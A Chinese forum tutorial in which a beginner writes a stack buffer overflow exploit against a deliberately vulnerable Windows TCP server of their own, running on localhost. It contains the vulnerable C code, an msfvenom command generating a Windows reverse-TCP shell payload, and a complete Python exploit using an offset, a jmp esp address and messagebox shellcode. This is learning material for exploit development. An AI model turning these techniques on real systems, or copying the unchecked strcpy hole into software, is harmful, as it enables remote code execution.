首页
社区
课程
招聘
[原创]EXP编写学习 之 网络上的EXP(三)
2022-5-1 17:17 9597

[原创]EXP编写学习 之 网络上的EXP(三)

2022-5-1 17:17
9597

前言

我是逆向练习生,羽墨。

 

我正在从0开始学习二进制漏洞,如果你也跟我一样,不妨来看看小白学习的第一视角


环境配置

软件 版本
一个存在漏洞的服务程序 C语言自己编写(附件下载exe)
调试器 windbg,x32dbg
python pycharm py3.8

漏洞程序与测试程序的编写

漏洞程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <stdio.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#pragma comment(lib,"Ws2_32.lib")
 
 
SOCKET g_Socket;
sockaddr_in g_addr;
 
 
void Stack_Overflow(char* str)
{
    char buff[500] = { 0 };
    strcpy(buff, str);
}
 
int main()
{
    //初始化网络库
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
        printf("WSAStartup failed with error: %d\n", WSAGetLastError());
 
    //初始化套接字
    g_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (INVALID_SOCKET == g_Socket)
    {
        printf("socket init error:%d\n", WSAGetLastError());
        return 0;
    }
 
    //绑定端口
    g_addr.sin_family = AF_INET;
    g_addr.sin_port = htons(5566);
    inet_pton(AF_INET, "127.0.0.1", &g_addr.sin_addr);
    if (bind(g_Socket, (sockaddr*)&g_addr, sizeof(sockaddr)) == SOCKET_ERROR)
    {
        printf("bind  error:%d\n", WSAGetLastError());
        return 0;
    }
 
    //监听端口
    if (listen(g_Socket, 20) == SOCKET_ERROR)
    {
        printf("listen  error:%d\n", WSAGetLastError());
        return 0;
    }
 
    //接收客户端连接与数据
    printf("Server : accept...\n");
    sockaddr_in caddr;
    int len = sizeof(sockaddr_in);
    while (true)
    {
        SOCKET s = accept(g_Socket, (sockaddr*)&caddr, &len);
        if (INVALID_SOCKET == s)
        {
            printf("accept  error:%d\n", WSAGetLastError());
            return 0;
        }
        printf("accept ok IP:%s port:%d\n", inet_ntoa(caddr.sin_addr), htons(caddr.sin_port));
 
        char recvBuf[0x2000] = { 0 };
        int ret = recv(s, recvBuf, sizeof(recvBuf), 0);
        if (ret <= 0)
        {
            printf("recv error:%d\n", WSAGetLastError());
            break;
        }
        printf("len:%d\n data:%s", strlen(recvBuf), recvBuf);
        Stack_Overflow(recvBuf); //溢出函数
 
        closesocket(s);
    }
 
    closesocket(g_Socket);
    WSACleanup();
    return 0;
}

这里可以看到,IP为本机,端口为5566 ,关闭编译选项,GS DEP ASLR ,溢出覆盖返回地址的话,不用关心safeSEH

Python测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
import socket,sys
 
def Exp(ip,port):
    target = ip
    port =port
    buffer = b'\x41' * 1000
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        connect = s.connect((target,port))
        print("connect success")
    except:
        print("connect failed")
        sys.exit(0)
 
    s.sendall(buffer)
    print("send payload")
    try:
        s.recv(1024)
    except:
        print("ok")
    s.close()
 
if __name__ == '__main__':
    Exp('127.0.0.1',5566)

编写EXP

1.打开服务程序,x32dbg 附加, 使用py脚本发送payload

 

 

可以看到服务程序的EIP已经被覆盖为41414141

 

2.现在要确定返回地址的偏移 , 可以使用 mpattern_offset工具来定位(参考笔者前面的文章) , 笔者这里定位偏移为 504

 

3.确定偏移后,还需要一个跳板地址,jmp esp , 来跳到shellcode执行 , 使用OD Findaddr 加载后查找

 

 

4.选择 0x75A15978 这个地址吧 , 笔者使用物理机来进行测试的, 地址只在关机前有效, 因为win10系统都有ASLR ,但是开机后映射地址是不会改变的,除非你hook这个dll

 

5.那么现在还需要一段 win10可以运行的 shellcode , 使用msfvenom工具来生成一个测试吧

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
 
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
 
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
 
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
 
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
 
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
 
–platform < platform> 指定payload的目标平台
 
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
 
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0A' '\x00';
 
-i, –iterations < count> 指定payload的编码次数
 
-c, –add-code < path> 指定一个附加的win32 shellcode文件
 
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
 
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
 
–payload-options 列举payload的标准选项
 
-o, –out < path> 指定创建好的payload的存放位置
 
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
 
-h, –help 查看帮助选项

这里我们使用一个反弹shell的shellcdeo进行测试,搜索payload模块

1
msfvenom -l payload | grep windows

 

使用这个反向TCPshell模块 然后查看它所支持的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
msfvenom -l format
 
Framework Transform Formats [--format <value>]
==============================================
    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
    hex
    java
    js_be
    js_le
    num
    perl
    pl
    powershell
    ps1
    py
    python
    raw
    rb
    ruby
    sh
    vbapplication
    vbscript

好的,我们选择py , 然后查看它支持的架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msfvenom -l archs
 
Framework Architectures [--arch <value>]
========================================
    Name
    ----
    aarch64
    armbe
    armle
    cbea
    cbea64
    cmd
    dalvik
    firefox
    java
    mips
    mips64
    mips64le
    mipsbe
    mipsle
    nodejs
    php
    ppc
    ppc64
    ppc64le
    ppce500v2
    python
    r
    ruby
    sparc
    sparc64
    tty
    x64
    x86
    x86_64
    zarch

这里我们选择 x86 ,最后把命令整合一下 ,生成shellcode

1
2
3
4
5
6
7
8
9
msfvenom -f py -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=9999  -a x86 -b "\x00" -o ~/Desktop/pyexp.txt --platform Windows
 
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of py file: 1865 bytes
Saved as: /home/kali/Desktop/pyexp.txt

好的,看起来是成功了,测试了一下, 发现nc在win10无法使用。。没办法监听。。。。。。 懒得弄了,换个弹窗的shellcode吧

1
2
3
4
5
6
7
msfvenom -f py -p windows/messagebox  -b "\x00"  -o ~/Desktop/pymessagebox.txt -a x86 --platform windows
 
No badchars present in payload, skipping automatic encoding
No encoder specified, outputting raw payload
Payload size: 272 bytes
Final size of py file: 1330 bytes
Saved as: /home/kali/Desktop/pymessagebox.txt

好的,最后的EXP是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
import socket,sys
 
def Exp(ip,port):
    target = ip
    port =port
 
    buffer = b'\x41' * 504
    buffer += b'\x78\x59\xA1\x75'
    nops = b'\x90' * 20
    shellcode = b""
    shellcode += b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
    shellcode += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
    shellcode += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
    shellcode += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
    shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
    shellcode += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
    shellcode += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
    shellcode += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
    shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
    shellcode += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
    shellcode += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"
    shellcode += b"\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
    shellcode += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
    shellcode += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
    shellcode += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
    shellcode += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68"
    shellcode += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c"
    shellcode += b"\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46"
    shellcode += b"\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48"
    shellcode += b"\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2"
    shellcode += b"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
 
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        connect = s.connect((target,port))
        print("connect success")
    except:
        print("connect failed")
        sys.exit(0)
 
    s.sendall(buffer + nops + shellcode + nops)
    print("send payload ok")
 
    try:
        s.recv(1024)
    except:
        print('ok')
    s.close()
 
if __name__ == '__main__':
    Exp('127.0.0.1',5566)

最后的测试

1.打开漏洞程序,调试器附加,找到溢出函数,下断观察

 

 

2.攻击测试

 

这里可以看到,栈已经被41覆盖,返回地址变为我们的跳板地址,后面跟nop区 与shellcode

 

 

单步跟踪查看

 

 

成功来到栈上执行代码

 

 

F9跑起来,看看效果 (有时候生成的shellcode有问题) 好的,成功执行 ,并且程序自动退出

 

 

然后让我们直接运行程序与脚本,看看效果如何

 

 

点击确定,程序自动退出,EXP日志输出ok, Perfect

 

结语

1.虽然还是比较基础,但是重在动手实践,顺带熟悉了msfvenom的用法与python socket的用法

 

2.昨天怼一个程序怼了一天,最后发现下载的是没有漏洞的版本,好的好的,差点给我气死

 

3.你学废了吗(手动狗头)

参考资料

看雪EXP编写系列第四章


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2022-5-3 16:36 被yumoqaq编辑 ,原因:
上传的附件:
收藏
免费 4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回